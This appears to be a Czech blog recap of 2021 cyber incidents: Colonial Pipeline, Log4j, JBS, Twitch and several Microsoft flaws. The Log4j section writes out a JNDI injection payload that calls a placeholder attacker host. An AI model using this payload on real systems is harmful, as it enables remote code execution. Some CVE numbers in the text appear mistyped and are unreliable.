Colonial Pipeline

Že Colonial Pipeline zasáhl velkou část východního pobřeží USA proběhlo tiskem. Hackeři byli schopni získat přístup k počítačové síti organizace prostřednictvím systému VPN, který neměl zavedenou vícefaktorovou autentizaci. Odtud šířili ransomware a infikované kontrolní systémy používané k distribuci paliva. Zajímavé ale je, že přes protesty státních orgánů majitelé Colonial Pipeline zaplatil výkupné za získání dešifrovacího klíče pro obnovení dodávky paliva. Odhadem 4 miliony v bitcoinech.

Log4j

Proč zranitelnost Log4j CVE-2021–44228 získala maximálně možné skóre CVSS 10, je její rozšířenost, její snadné využití a dostupnost externích serverů. Původně Číňan Chen Zhaojun zranitelnost soukromě odhalil vývojářům softwaru a 10. prosince to někdo z nich pustil ven. Tato chyba zabezpečení spočívá v možnostech knihovny Log4j Java (což je velmi běžná open source knihovna mezi webovými servery). Využívá rozhraní JNDI (Java Naming and Directory Interface), které umožňuje klientům vyhledávat data a objekty podle názvu pomocí ldap. Umístěním řetězce ${jndi:ldap://attacker.com/payload} do HTTP záhlaví nebo těla požadavku POST knihovna Log4j předá a provede tento řetězec a to je vše.

První záplata (CVE-2021–44228) měla umožnit upgrade na Log4j 2.15. Pak se přišlo na to, že tato oprava je zranitelná vůči vzdálenému spuštění kódu (CVE-2021–4506). Po upgradu na Log4j 2.16 bylo zjištěno, že je knihovna zranitelná vůči útoku Denial of Service, tak se upgradovalo na Log4j 2.17.

Útok na JBS

Další případ, kdy napadený přes všechny odkazy na amorálnost zaplatil. JBS je největším dodavatelem masa na světě. Koncem května byla JBS zasažena ransomwarem ruské hackerské skupiny REvil. Tento ransomware donutil šest amerických a několik australských balíren dočasně zastavit již tak napjatý dodavatelský řetězec masa. Toto dočasné odstavení způsobilo prudký nárůst cen hovězího, kuřecího a vepřového masa po celém světě. REvil původně požadoval 22,5 milionu USD, JBS pak začal smlouvat a srazil cenu na 11 milionů USD. A v souladu dohodou Rusové poslali dešifrovací nástroj – byznys je byznys.

Hack Twitch

Tento útok nebyl finančně motivovaný, šlo o hacktivismus. Twitch je přidružená společnost Amazonu, jde o službu živého vysílání. Na nástěnky 4chan se objevila zpráva o krádeži 125 GB dat včetně zdrojového kódu, hash hesel a informací o výplatě streamerů s odkazem na stažení souboru. Twitch, upřesnil, že „incident byl výsledkem změny konfigurace serveru“. Člověku probíhá hlavou, jak se útočníkovi podařilo ukrást 125 GB dat mnohamiliardové společnosti s dobře placenými bezpečnostními týmy.

Microsoft nezklamal ani v roce 2021

Začátkem března Microsoft oznámil CVE-2021–26855 ovlivňující místní servery Exchange. V červenci to byl PrintNightmare (CVE-2021–3452), což byla chyba zabezpečení umožňující vzdálené spuštění kódu ve službě Windows Print Spooler. Později téhož měsíce byl nalezen SeriousSAM (CVE-2021–36934), umožňující mj. načíst hash hesel v souboru SAM (SAM – databáze uživatelských účtů). V září byl objeven CVE-2021–40444, což byla chyba zabezpečení v Microsoft Office, MSHTML. Tato chyba vyžaduje jediné schválení pro „display context“. Po „zobrazení obsahu“ by útočník obdržel právo na vzdálené spuštění kódu na počítači tohoto uživatele. V prosinci byla objevena eskalace oprávnění Windows Active Directory. Sprárováním využití chyb CVE-2021–42287 a CVE-2021–42278 může útočník upravit svůj atribut SAM-Account-Name na atribut řadiče domény a ten následně vydat neoprávněně ticket.